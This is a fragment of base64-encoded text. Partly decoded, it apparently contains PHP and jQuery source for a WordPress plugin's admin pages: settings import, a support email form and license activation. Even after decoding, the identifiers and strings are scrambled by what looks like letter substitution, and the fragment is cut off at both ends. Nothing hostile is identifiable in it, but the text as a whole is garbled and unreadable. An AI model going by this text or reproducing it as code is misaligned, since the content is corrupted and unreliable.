EJmbSggJ05xcmdfV05VQnFfZkRIJyApOyAvLyBuTkggcWRkIGZESEJmbXIgVXFIcSwgUE5IdFBtIHFQUHFnDQogDQogICAgICAgIGpmUE5xR2ggKCRmREhCZm1yIHFyICQxTmcgPT4gJG9xZHROKSB7DQogICAgICAgICAgICAkb3FkdE4gPSBXcWd4Tl90bXJOUEJxZEJwTigkb3FkdE4pOw0KICAgICAgICAgICAgJG1OTlVfZkRIQmZtclskMU5nXSA9ICRvcWR0TjsNCiAgICAgICAgfQ0KIA0KICAgICAgICAka3JmbV9qQmROID0ga3JmbV9ObUdmVU4oJG1OTlVfZkRIQmZtcik7IC8vIFhtR2ZVTiBVcUhxIEJtSGYga3JmbSBVcUhxDQogDQogICAgICAgIGZ4X0dkTnFtKCk7DQogICAgICAgIE5HaGYgJGtyZm1fakJkTjsNCiAgICAgICAgaE5xVU5QKCI3Zm1ITm1ILUpnRE46IEhOY0gva3JmbTsgR2hxUHJOSD0iIC4gYU5IX2ZESEJmbSggJ3hkZmFfR2hxUHJOSCcpKTsNCiAgICAgICAgaE5xVU5QKCI3Zm1ITm1ILUZCckRmckJIQmZtOiBxSEhxR2hXTm1IOyBqQmRObXFXTj0ka3JmbV9tcVdOLmtyZm0iKTsNCiAgICAgICAgTmNCSCgpOw0KICAgIH0JDQoJDQoJLy8gWVpRTVZKIGlLczdKWU1zDQoJDQogICAgPz4NCiAgICAgICAgICAgIAkJPFVCbyBHZHFycj0iV05IcXhmYy1oZmRVTlAiPg0KCQkJPFVCbyBHZHFycj0iRGZySHhmYyI+DQoJCQkJPGhiPjw/RGhEIF9OKCAnVk5ySGZQTicsICdOcXJXTlVCcScgKTsgPz48L2hiPg0KICAgICAgICA8P0RoRA0KICAgICAgICAgICAgQmogKEJyck5IKCRfaVl1WDJbJ0JXRGZQSCddKSAmJiBHaE5HMV9xVVdCbV9QTmpOUE5QKCdOV2EtQldEZlBILW1mbUdOJykpIHsNCiAgICAgICAgICAgICAgICBCaiAoJF9pWXVYMlsnQldEZlBIJ11bJ05QUGZQJ10gPiB5KSB7DQogICAgICAgICAgICAgICAgICAgIE5HaGYgIjxVQm8gR2RxcnI9J05QUGZQJz48RD5zZiBqQmROIHJOZE5HSE5VLCBEZE5xck4gV3ExTiBydFBOIEhmIHJOZE5HSCBxIGpCZE4uPC9EPjwvVUJvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIE5kck4gew0KICAgICAgICAgICAgICAgICAgICAkakJkTl9tcVdOID0gJF9pWXVYMlsnQldEZlBIJ11bJ21xV04nXTsgLy8gbk5IIEhoTiBtcVdOIGZqIGpCZE4NCiAgICAgICAgICAgICAgICAgICAgJGpCZE5fTmNIID0gckhQSGZkZjNOUChObVUoTmNEZGZVTigiLiIsICRqQmROX21xV04pKSk7IC8vIG5OSCBOY0hObXJCZm0gZmogakJkTg0KICAgICAgICAgICAgICAgICAgICAkakJkTl9yQnBOID0gJF9pWXVYMlsnQldEZlBIJ11bJ3JCcE4nXTsgLy8gbk5IIHJCcE4gZmogakJkTg0KICAgICAgICAgICAgICAgICAgICAvKiBYbXJ0UE4gdERkZnFVTlUgakJkTiBCciBJMk1zIGpCZE4gSGdETiBxbVUgSGhOIHJCcE4gbWZIIGZvTlAgU3l5eXl5IHhnSE5yDQogICAgICAgICAgICAgICAgICAgICAqIDZmdCBHcW0gV2ZVQmpnIEhoTiByQnBOIGdmdCAzcW1IDQogICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICBCaiAoKCRqQmROX05jSCA9PSAia3JmbSIpICYmICgkakJkTl9yQnBOIDwgU3l5eXl5KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJE5tR2ZVTl9mREhCZm1yID0gakJkTl9hTkhfR2ZtSE5tSHIoJF9pWXVYMlsnQldEZlBIJ11bJ0hXRF9tcVdOJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGZESEJmbXIgPSBrcmZtX1VOR2ZVTigkTm1HZlVOX2ZESEJmbXIsIEhQdE4pOw0KCQkJCQkJDQoJCQkJCQkkTldhX3REVV9mREhCZm1yID0gYU5IX2ZESEJmbSgnTnFyZ19XTlVCcV9mREgnKTsNCgkJCQkJCWpmUE5xR2ggKCRmREhCZm1yIHFyICQxTmcgPT4gJG9xZHROKSB7DQoJCQkJCQkJJE5XYV90RFVfZkRIQmZtclsgJDFOZyBdID0gICRvcWR0TjsNCgkJCQkJCQl0RFVxSE5fZkRIQmZtKCAnTnFyZ19XTlVCcV9mREgnLCAkTldhX3REVV9mREhCZm1yICk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgTkdoZiAiPFVCbyBHZHFycj0ndERVcUhOVSc+PEQ+QWRkIGZESEJmbXIgcVBOIFBOckhmUE5VIHJ0R0dOcnJqdGRkZy48L0Q+PC9VQm8+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBOZHJOIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIE5HaGYgIjxVQm8gR2RxcnI9J05QUGZQJz48RD5ZbW9xZEJVIGpCZE4gZlAgakJkTiByQnBOIEhmZiB4QmEuPC9EPjwvVUJvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIDxVQm8gQlU9Ik5xcmdXTlVCcV9QTnJIZlBOIiBySGdkTj0iRHFVVUJtYS1kTmpIOkV5RGMgIUJXRGZQSHFtSDsiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8RD48P0RoRCBfTignWVdEZlBIIEhoTiAnLlhabl9ZSlhaX3NBWlguJyByTkhIQm1hciBqUGZXIHEgLmtyZm0gakJkTi4gSmhCciBqQmROIEdxbSB4TiBmeEhxQm1OVSB4ZyBOY0RmUEhCbWEgSGhOIHJOSEhCbWFyIGZtIHFtZkhoTlAgckJITiB0ckJtYSBIaE4gamZQVyBxeGZvTi4nLCAnTnFyV05VQnEnKTsgPz48L0Q+DQogICAgICAgIDxqZlBXIFdOSGhmVT0nRGZySCcgTm1HSGdETj0nV3RkSEJEcVBIL2pmUFctVXFIcSc+DQogICAgICAgICAgICA8RCBHZHFycj0icnR4V0JIIj4NCiAgICAgICAgICAgICAgICA8P0RoRCAzRF9tZm1HTl9qQk5kVSgnTldhLUJXRGZQSC1tZm1HTicpOyA/Pg0KICAgICAgICAgICAgICAgIDxCbUR0SCBIZ0ROPSdqQmROJyBtcVdOPSdCV0RmUEgnIC8+PHhQIC8+PHhQIC8+DQogICAgICAgICAgICAgICAgPEJtRHRIIEdkcXJyPSJ4dEhIZm0iIEhnRE49J3J0eFdCSCcgbXFXTj0ncnR4V0JIJyBvcWR0Tj0nVk5ySGZQTiBxZGQgZkRIQmZtcicvPg0KICAgICAgICAgICAgPC9EPg0KICAgICAgICA8L2pmUFc+CQkNCiAgICAgICAgCQkJPC9VQm8+DQogICAgICAgICAgICAJPC9VQm8+DQogICAgICAgICAgICA8L1VCbz4NCiAgICAgICAgPC9VQm8+DQogICAgPD9EaEQNCn0NCg0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogICBacUJkZE5QDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTldhX2hIV2RfamZQV19HZlVOKCkgew0KCQ0KM0RfTm0wdE50Tl9yR1BCREgoICdrMHROUGctb3FkQlVxSE4ta3InICk7CQ0KDQo/Pg0KPHJHUEJESD5renROUGcoVWZHdFdObUgpLlBOcVVnKGp0bUdIQmZtKCQpew0KCQ0KICAga3p0TlBnKCIuTldhLXJ0RERmUEgtamZQVyIpLm9xZEJVcUhOKHsNCiAgICAgICAgUHRkTnI6IHsNCiAgICAgICAgICAgIEdqbXFXTjogew0KICAgICAgICAgICAgICAgIFBOMHRCUE5VOiBIUHROLA0KICAgICAgICAgICAgICAgIE5XcUJkOiBqcWRyTg0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIEdqTldxQmQ6IHsNCiAgICAgICAgICAgICAgICBQTjB0QlBOVTogSFB0TiwNCiAgICAgICAgICAgICAgICBOV3FCZDogSFB0Tg0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIEdqZEJHMU5nOiB7DQogICAgICAgICAgICAgICAgUE4wdEJQTlU6IEhQdE4sDQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgR2pXTnJycWFOOiB7DQogICAgICAgICAgICAgICAgUE4wdEJQTlU6IEhQdE4sDQogICAgICAgICAgICB9LA0KCQkJDQogICAgICAgIH0sDQogICAgICAgIHJ0eFdCSFRxbVVkTlA6IGp0bUdIQmZtIChqZlBXKSB7DQoJCQlOV2FfZm1ydHhXQkgoa3p0TlBnKCcuTldhLXJ0RERmUEgtamZQVycpKTsNCiAgICAgICAgfQ0KCQkNCiAgICB9KTsNCgkNCg0KfSk7DQovKiBpZlBXIExxZEJVcUhCZm0gJiAydHhXQkggKCBBa3FjICkgKi8NCmp0bUdIQmZtIE5XYV9mbXJ0eFdCSChqZlBXKXsNCgkNCglCaihqZlBXLnFISFAoJ3FHSEJmbScpPT0nIycpew0KCQkNCgkJa3p0TlBnKCcjamZQV1dyYWFQZnREJykucmhmMygpOw0KCQlrenROUGcoJyNHai1ydHhXQkhITlUnKS5xSEhQKCdVQnJxeGROVScsJ1VCcnF4ZE5VJyk7DQoJCWt6dE5QZygnLk5XampmUFdXcmEnKS5ITmNIKCcnKTsNCgkJa3p0TlBnKCcuTldqamZQV2RmcVVCbWEnKS5HcnIoJ3hxRzFhUGZ0bVUtQldxYU4nLCd0UGQoPD9EaEQgTkdoZiBEZHRhQm1yX3RQZCgnQldxYU5yL3FHSC1kZnFVQm1hLmFCaicgLCBVQlBtcVdOKF9faVl1WF9fKSk7ID8+KScpOw0KCQlrenROUGcoJy5OV2pqZlBXZGZxVUJtYScpLkdycignVUJyRGRxZycsICdCbWRCbU4teGRmRzEnKTsNCgkJb3FQIEJtRHRIX3h0SEhmbSA9IGt6dE5QZygiOkJtRHRIIixqZlBXKTsNCgkJDQoJCVVxSHEgPSB7fTsNCgkJVXFIcVsncUdIQmZtJ10gPSAnTldhX1VOZEJvTlBfV3FCZCc7DQoJCQ0KCQlrenROUGcoJ0JtRHRILCBITmNIcVBOcScsIGpmUFcpLk5xR2goanRtR0hCZm0oMU5nKSANCgkJew0KCQkJVXFIcVtIaEJyLm1xV05dID0gSGhCci5vcWR0TjsNCgkJfSk7DQoJCQ0KCQlrenROUGcucWtxYyh7DQoJCQl0UGQ6ICc8P0RoRCBOR2hmIHFVV0JtX3RQZCgncVVXQm0tcWtxYy5EaEQnKTsgPz4nLCANCgkJCUhnRE46ICdRTTJKJywNCgkJCVVxSHFKZ0ROOiAna3JmbScsDQoJCQlVcUhxOiBVcUhxLCANCgkJCXJ0R0dOcnI6IGp0bUdIQmZtKFVxSHEpIHsNCgkJCQkNCgkJCQlCaihVcUhxLk0xPT1IUHROKSB7DQoJCQkJCWt6dE5QZygnI0dqLXJ0eFdCSEhOVScpLlBOV2ZvTkFISFAoJ1VCcnF4ZE5VJyk7DQoJCQkJCWt6dE5QZygnLk5XampmUFdXcmEnKS5ITmNIKCdKaHFtMSBnZnQgamZQIEdmbUhxR0hCbWEgdHIuIDhOIGhxb04gUE5HTkJvTlUgZ2Z0UCBObTB0QlBnIHFtVSAzQmRkIFBOckRmbVUgSGYgZ2Z0IDNCSGhCbSBDIGMgQ2UgaGZ0UHIuJyk7DQoJCQkJCWt6dE5QZygnLk5XampmUFdkZnFVQm1hJykuR3JyKCd4cUcxYVBmdG1VLUJXcWFOJywndFBkKDw/RGhEIE5HaGYgRGR0YUJtcl90UGQoJ0JXcWFOci9vcWRCVS5EbWEnICwgVUJQbXFXTihfX2lZdVhfXykpOyA/PiknKTsNCgkJCQkJa3p0TlBnKCcjamZQV1dyYWFQZnREJykuanFVTlltKEV5eXkpLlVOZHFnKFN5eXkpLmpxVU5NdEgoRXl5eSk7DQoJCQkJCX0NCgkJCQlOZHJOIHsNCgkJCQkJa3p0TlBnKCcjR2otcnR4V0JISE5VJykuUE5XZm9OQUhIUCgnVUJycXhkTlUnKTsNCgkJCQkJa3p0TlBnKCcuTldqamZQV2RmcVVCbWEnKS5HcnIoJ3hxRzFhUGZ0bVUtQldxYU4nLCd0UGQoPD9EaEQgTkdoZiBEZHRhQm1yX3RQZCgnQldxYU5yL0Jtb3FkQlUuRG1hJyAsIFVCUG1xV04oX19pWXVYX18pKTsgPz4pJyk7DQoJCQkJCWt6dE5QZygnLk5XampmUFdXcmEnKS5ITmNIKCdBbSB0bU5jRE5HSE5VIE5QUGZQIGZHR3RQUE5VLiBRZE5xck4gSFBnIHFhcUJtIScpOw0KCQkJCQlrenROUGcoJyNqZlBXV3JhYVBmdEQnKS5qcVVOWW0oRXl5eSkuVU5kcWcoU3l5eSkuanFVTk10SChFeXl5KTsNCg0KCQkJCX0NCgkJCX0NCgkJfSk7DQoJCVBOSHRQbSBqcWRyTjsNCgl9DQp9DQo8L3JHUEJESD4NCjw/RGhEDQoNCkJqICggTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl8xTmcnLCAnJyApICkgew0KCSRCclVCciA9ICdVQnJxeGROVT0iVUJycXhkTlUiJzsNCgl9IE5kck4gew0KCQkkQnJVQnIgPSAnJzsNCgkJfQ0KDQogICAgTkdoZiAnPGpmUFcgR2RxcnI9Ik5XYS1ydEREZlBILWpmUFciIHFHSEJmbT0iIyIgV05IaGZVPSJEZnJIIj4nOw0KICAgIE5HaGYgJzxEPic7DQogICAgTkdoZiAnc3FXTiAoUE4wdEJQTlUpIDx4UC8+JzsNCiAgICBOR2hmICc8Qm1EdEggSGdETj0iSE5jSCIgbXFXTj0iR2ptcVdOIiBEcUhITlBtPSJbeS1PcS1wQS12LSBfXSsiIHJCcE49ImV5IiBvcWR0Tj0iJy5OV2FfYU5IX2RCR19mREhCZm0oICdOV2FEUGZfZEJHTm1yTl9CbWpmJywgJ05XYV9kQkdObXJOX2YzbU5QJywgJycgKS4nIiAvPic7DQogICAgTkdoZiAnPC9EPic7DQogICAgTkdoZiAnPEQ+JzsNCiAgICBOR2hmICdWTkRkZy1KZiAoTldxQmQpIDx4UC8+JzsNCiAgICBOR2hmICc8Qm1EdEggJy4kQnJVQnIuJyBIZ0ROPSJOV3FCZCIgbXFXTj0iR2pOV3FCZCIgb3FkdE49IicuTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9OV3FCZCcsICcnICkuJyIgckJwTj0iZXkiIC8+JzsNCiAgICBOR2hmICc8L0Q+JzsNCiAgICBOR2hmICc8RD4nOw0KICAgIE5HaGYgJ3VCR05tck4gNU5nIChQTjB0QlBOVSkgPHhQLz4nOw0KICAgIE5HaGYgJzxCbUR0SCAnLiRCclVCci4nIEhnRE49IkhOY0giIG1xV049IkdqZEJHMU5nIiBEcUhITlBtPSJbeS1PcS1wQS12LSBfXSsiIG9xZHROPSInLk5XYV9hTkhfZEJHX2ZESEJmbSggJ05XYURQZl9kQkdObXJOX0JtamYnLCAnTldhX2RCR05tck5fMU5nJywgJycgKS4nIiByQnBOPSJleSIgLz4nOw0KICAgIE5HaGYgJzwvRD4nOw0KICAgIE5HaGYgJzxEPic7DQogICAgTkdoZiAnNmZ0UCBaTnJycWFOIChQTjB0QlBOVSkgPHhQLz4nOw0KICAgIE5HaGYgJzxITmNIcVBOcSBQZjNyPSJFeSIgR2Zkcj0ibHkiIG1xV049IkdqV05ycnFhTiI+PC9ITmNIcVBOcT4nOw0KICAgIE5HaGYgJzwvRD4nOw0KICAgIE5HaGYgJzxEPjxCbUR0SCBCVT0iR2otcnR4V0JISE5VIiBHZHFycj0ieHRISGZtIiBIZ0ROPSJydHhXQkgiIG1xV049IkdqLXJ0eFdCSEhOVSIgb3FkdE49IjJObVUgSkJHMU5IIj48ckRxbSBCVT0iamZQV1dyYWFQZnREIj48ckRxbSBHZHFycj0iTldqamZQV2RmcVVCbWEiPjwvckRxbT48ckRxbSBHZHFycj0iTldqamZQV1dyYSI+PC9yRHFtPjwvckRxbT48L0Q+JzsNCiAgICBOR2hmICc8L2pmUFc+JzsNCn0NCg0KDQoNCmp0bUdIQmZtIE5XYV9VTmRCb05QX1dxQmQoKSB7DQogCQ0KCQkkUE5ydGRIID0gcVBQcWcoKTsNCgkNCgkJJF9RTTJKWydHam1xV04nXSA9IEhQQlcoJF9RTTJKWydHam1xV04nXSk7DQoJCSRfUU0ySlsnR2pOV3FCZCddID0gSFBCVygkX1FNMkpbJ0dqTldxQmQnXSk7DQoJCSRfUU0ySlsnR2pkQkcxTmcnXSA9IEhQQlcoJF9RTTJKWydHamRCRzFOZyddKTsNCgkJJF9RTTJKWydHaldOcnJxYU4nXSA9IEhQQlcoJF9RTTJKWydHaldOcnJxYU4nXSk7CQkJDQogDQogICAgICAgIC8vIHJxbUJIQnBOIGpmUFcgb3FkdE5yDQogICAgICAgICRtcVdOICAgID0gcnFtQkhCcE5fSE5jSF9qQk5kVSggJF9RTTJKWyJHam1xV04iXSApOw0KICAgICAgICAkTldxQmQgICA9IHJxbUJIQnBOX05XcUJkKCAkX1FNMkpbIkdqTldxQmQiXSApOw0KICAgICAgICAkZDFOZyA9IHJxbUJIQnBOX0hOY0hfakJOZFUoICRfUU0ySlsiR2pkQkcxTmciXSApOw0KCQkNCiAgICAJJFdOcnJxYU4gPSAnDQogICAgCQk8aEhXZD4NCiAgICAJCQk8eGZVZz4NCgkJCQk8dGQ+DQoJCQkJPGRCPmlQZlc6ICcuJG1xV04uJzwvZEI+DQoJCQkJPGRCPnVCR05tck4gNU5nOiAnLiRkMU5nLic8L2RCPg0KCQkJCTxkQj5aTnJycWFOOjx4UD4nLk5yR19ITmNIcVBOcSggJF9RTTJKWyJHaldOcnJxYU4iXSApLic8L2RCPg0KCQkJCTwvdGQ+ICAgICAgICAgDQogICAgCQkJPC94ZlVnPg0KICAgIAkJCTwvaEhXZD4NCiAgICAJCQknOw0KIA0KICAgICAgICAkSGYgPSAncnRERGZQSEBhaGZwZ2RxeC5HZlcnOw0KICAgIAkkaE5xVU5QcltdID0gJ1pZWlgtTE5QckJmbTogRS55JyAuICJcUFxtIjsNCiAgICAJJGhOcVVOUHJbXSA9ICc3Zm1ITm1ILUhnRE46IEhOY0gvaEhXZDsgR2hxUHJOSD1CcmYtNDRTTy1FJyAuICJcUFxtIjsNCiAgICAJJGhOcVVOUHJbXSA9ICdpUGZXOiAnLiRtcVdOLicgPCcuJE5XcUJkLic+JzsNCiAgICAJJGhOcVVOUHJbXSA9ICdWTkRkZy1KZjogJy4kbXFXTi4nIDwnLiROV3FCZC4nPic7CQkNCiANCiAgICAgICAgLy8gWWogTldxQmQgaHFyIHhOTm0gRFBmR05yciBqZlAgck5tVUJtYSwgVUJyRGRxZyBxIHJ0R0dOcnIgV05ycnFhTg0KICAgICAgICBCaiAoIDNEX1dxQmQoICRIZiwgJzJ0RERmUEggVk4wdE5ySCBqUGZXICcuJG1xV04uJyAoICcuJGQxTmcuJyApJywgJFdOcnJxYU4sICRoTnFVTlByICkgKSB7DQoJCQkkUE5ydGRIWydNMSddID0gSFB0TjsNCiAgICAgICAgCX0gTmRyTiB7DQogICAgICAgICAgICAkUE5ydGRIWydNMSddID0ganFkck47DQogICAgICAgIAkJfQ0KCQ0KCU5HaGYga3JmbV9ObUdmVU4oICRQTnJ0ZEggKTsJDQoJM0RfVUJOKCk7DQp9DQpxVVVfcUdIQmZtKCczRF9xa3FjX05XYV9VTmRCb05QX1dxQmQnLCAnTldhX1VOZEJvTlBfV3FCZCcpOw0KDQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgQVVVIDhmUFVRUE5yciBRZkJtSE5QciANCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQoNCnFVVV9xR0hCZm0oICdxVVdCbV9ObTB0TnROX3JHUEJESHInLCAnTnFyV05VQnFfRGZCbUhOUF9EZkJtSE5QX2hOcVVOUCcgKTsNCmp0bUdIQmZtIE5xcldOVUJxX0RmQm1ITlBfRGZCbUhOUF9oTnFVTlAoKSB7DQogICAgJE5tMHROdE4gPSBqcWRyTjsNCg0KICAgICRVQnJXQnJyTlUgPSBOY0RkZlVOKCAnLCcsIChySFBCbWEpIGFOSF90ck5QX1dOSHEoIGFOSF9HdFBQTm1IX3RyTlBfQlUoKSwgJ1VCcldCcnJOVV8zRF9EZkJtSE5QcicsIEhQdE4gKSApOw0KDQogICAgQmogKCAhIEJtX3FQUHFnKCAnTnFyV05VQnFfRGZCbUhOUF9EZkJtSE5QJywgJFVCcldCcnJOVSApICkgew0KICAgICAgICAkTm0wdE50TiA9IEhQdE47DQogICAgICAgIHFVVV9xR0hCZm0oICdxVVdCbV9EUEJtSF9qZmZITlBfckdQQkRIcicsICdOcXJXTlVCcV9EZkJtSE5QX0RmQm1ITlBfamZmSE5QJyApOw0KICAgIH0NCg0KICAgIEJqICggJE5tMHROdE4gKSB7DQogICAgICAgIC8vIFhtMHROdE4gRGZCbUhOUHINCiAgICAgICAgM0RfTm0wdE50Tl9yR1BCREgoICczRC1EZkJtSE5QJyApOw0KICAgICAgICAzRF9ObTB0TnROX3JIZ2ROKCAnM0QtRGZCbUhOUCcgKTsNCiAgICB9DQp9DQoNCmp0bUdIQmZtIE5xcldOVUJxX0RmQm1ITlBfRGZCbUhOUF9qZmZITlAoKSB7DQogICAgJERmQm1ITlBfR2ZtSE5tSCA9ICc8aGI+N2ZtYVBxSHRkcUhCZm1yITwvaGI+JzsNCgkgICREZkJtSE5QX0dmbUhObUggLj0gJzxEPjZmdCYjYk87b04ga3RySCBCbXJIcWRkTlUgWHFyZyBaTlVCcSBucWRkTlBnIFFQZi4gN2RCRzEgPHEgR2RxcnI9IkdkZnJOImhQTmo9Ik5VQkguRGhEP0RmckhfSGdETj1OcXJnV05VQnFhcWRkTlBnJkRxYU49TldhX1VmR3IiPmhOUE48L3E+IEhmIDNxSEdoIG9CVU5mIEh0SGZQQnFkciBxbVUgdHJOUCBhdEJVTiBEZHRhQm0uPC9EPic7DQo/Pg0KDQo8ckdQQkRIIEhnRE49IkhOY0gva3FvcXJHUEJESCI+Ly8gPCFbN0ZBSkFbDQprenROUGcoVWZHdFdObUgpLlBOcVVnKGp0bUdIQmZtKCQpIHsNCgkNCkJqIChIZ0ROZmooa3p0TlBnKCkuRGZCbUhOUCkgIT0gJ3RtVU5qQm1OVScpIHsJDQogICAgJCgnI1dObXQtRGZySHItTnFyZ1dOVUJxYXFkZE5QZycpLkRmQm1ITlAoew0KICAgICAgICBHZm1ITm1IOiAnPD9EaEQgTkdoZiAkRGZCbUhOUF9HZm1ITm1IOyA/PicsDQogICAgICAgIERmckJIQmZtOiB7DQogICAgICAgICAgICBOVWFOOiAnZE5qSCcsDQogICAgICAgICAgICBxZEJhbTogJ0dObUhOUCcNCiAgICAgICAgfSwNCiAgICAgICAgR2Rmck46IGp0bUdIQmZtKCkgew0KICAgICAgICAgICAgJC5EZnJIKCBxa3FjdFBkLCB7DQogICAgICAgICAgICAgICAgRGZCbUhOUDogJ05xcldOVUJxX0RmQm1ITlBfRGZCbUhOUCcsDQogICAgICAgICAgICAgICBxR0hCZm06ICdVQnJXQnJyLTNELURmQm1ITlAnDQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgIH0pLkRmQm1ITlAoJ2ZETm0nKTsNCgkNCn0NCg0KfSk7DQovLyBdXT48L3JHUEJESD4NCjw/RGhEDQp9DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIEFHSEJvcUhCZm0gUXFhTg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcldOVUJxX0dQTnFITl9xR0hCb3FITl9EcWFOKCkgew0KICAgICROcXJXTlVCcV9VZkdyX0RxYU4gPSBxVVVfcnR4V05tdF9EcWFOKCdOVUJILkRoRD9EZnJIX0hnRE49TnFyZ1dOVUJxYXFkZE5QZycsICd1QkdObXJOIFpxbXFhTlAnLCBfXygndUJHTm1yTiBacW1xYU5QJywgJ05xcldOVUJxJyksICdOVUJIX0RmckhyJywgJ05XYS1xR0hCb3FIQmZtJywgJ05xcldOVUJxX05xcmdXTlVCcV9kQkdObXJOJyk7DQp9DQoNCmp0bUdIQmZtIE5xcldOVUJxX05xcmdXTlVCcV9kQkdObXJOKCkgew0KCWFkZnhxZCAkTldhRGR0YW1xV047DQoJCQ0KCSRkQkdObXJOID0gTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl8xTmcnLCAnJyApOwkNCgkkckhxSHRyID0gTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl9ySHFIdHInLCAnQm1vcWRCVScgICk7CQ0KCQ0KCT8+DQogICAgPFVCbyBHZHFycj0iM1BxRCI+DQogICAgPFVCbyBCVT0iTldhLWRCR05tck4tZGZhZiI+DQogICAgICAgIAk8QldhIHJIZ2ROPSIzQlVIaDpiQ0RjO2hOQmFoSDpiQ0RjO29OUEhCR3FkLXFkQmFtOldCVVVkTjsgV3FQYUJtLVBCYWhIOkV5RGM7IiByUEc9Ijw/RGhEIE5HaGYgRGR0YUJtcl90UGQoICdCV3FhTnIvMU5nQy1iQ2NiQy5EbWEnICwgVUJQbXFXTihfX2lZdVhfXykgKSA7Pz4iIDNCVUhoPSJiQyIgaE5CYWhIPSJiQyIgcWRIPSJ1QkdObXJOIFpxbXFhTlAiIC8+PHJEcW0gckhnZE49IiBqZm1ILXJCcE46Q2VEYzsgamZtSC0zTkJhaEg6eGZkVTsgb05QSEJHcWQtcWRCYW06V0JVVWROOyBqZm1ILWpxV0JkZzogIEFQQnFkLCBUTmRvTkhCR3EsIHJxbXItck5QQmoiPjw/RGhEIF9OKCd1QkdObXJOIFpxbXFhTlAnLCAnTnFyV05VQnEnKTsgPz48L3JEcW0+DQogICAgICAgICAgICA8L1VCbz4NCgk8P0RoRCAgDQoJCQkJQmogKCBqcWRyTiA9PT0gJEdxR2hOID0gYU5IX0hQcW1yQk5tSCggJ05XYV9xVVdCbV9tZkhCR04nICkgKSB7DQoJCQkJCQlOR2hmICc8RD4nLl9OKCc8VUJvIEdkcXJyPSJ0RFVxSE5VIiBySGdkTj0iRHFVVUJtYTpTRGM7RHFVVUJtYS1kTmpIOkVTRGM7Ij5BSkpYc0pZTXMgOjx4UCAvPjZmdCBHcW0gcUdIQm9xSE4gSGhOIGRCR05tck4gMU5nIGZtIGRmR3FkaGZySCBmUCBITldEZlBxUGcgckJITiBCaiBnZnQgcVBOIFBOcWRkZyBtTk5VIGpmUCBVTm9OZGZEV05tSCBmaiBIaE4gM054ckJITiA8ckRxbSBySGdkTj0iR2ZkZlA6IFBOVTsgamZtSC0zTkJhaEg6IHhmZFU7IGpmbUgtckhnZE46IEJIcWRCRzsiPjlLSiBRdVhBMlggRk0gc01KIGlNVm5YSjwvckRxbT4gSGYgVU5xR0hCb3FITiAtPHhQIC8+SGhOIGRCR05tck4gMU5nIDNoTm0gZ2Z0XCdQTiBVZm1OLiAoIDxyRHFtIHJIZ2ROPSJqZm1ILXJIZ2ROOiBCSHFkQkc7Ij43ZEJHMSBGTnFHSEJvcUhOIHh0SEhmbSB4TmRmMzwvckRxbT4gKTwvVUJvPicsICdOcXJXTlVCcScpLic8L0Q+JzsNCgkJCQkJfSBOZHJOIHsNCgkJCQkJCU5HaGYgJEdxR2hOOw0KCQkJCQkJfQ0KCQ0KCT8+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQoJCTxVQm8gR2RxcnI9IldOSHF4ZmMtaGZkVU5QIj4NCgkJCTxVQm8gR2RxcnI9IkRmckh4ZmMiPg0KCQkJCTxoYj48P0RoRCBfTiggJ0FHSEJvcUhCZm0gaWZQVycsICdOcXJXTlVCcScgKTsgPz48L2hiPg0KICAgICAgICAgICAgICAgIDxVQm8gQlU9Ik5xcmdXTlVCcV9VZkdyMCIgckhnZE49IkRxVVVCbWEtZE5qSDpFeURjICFCV0RmUEhxbUg7Ij4NCiAgICAgICAgICAgICAgICANCgk8VUJvIEdkcXJyPSIzUHFEIj4NCgkJPGpmUFcgV05IaGZVPSJEZnJIIj4NCgkJDQoJCQk8P0RoRCByTkhIQm1hcl9qQk5kVXIoJ05XYV9kQkdObXJOX2pCTmRVJyk7ID8+DQoJCQk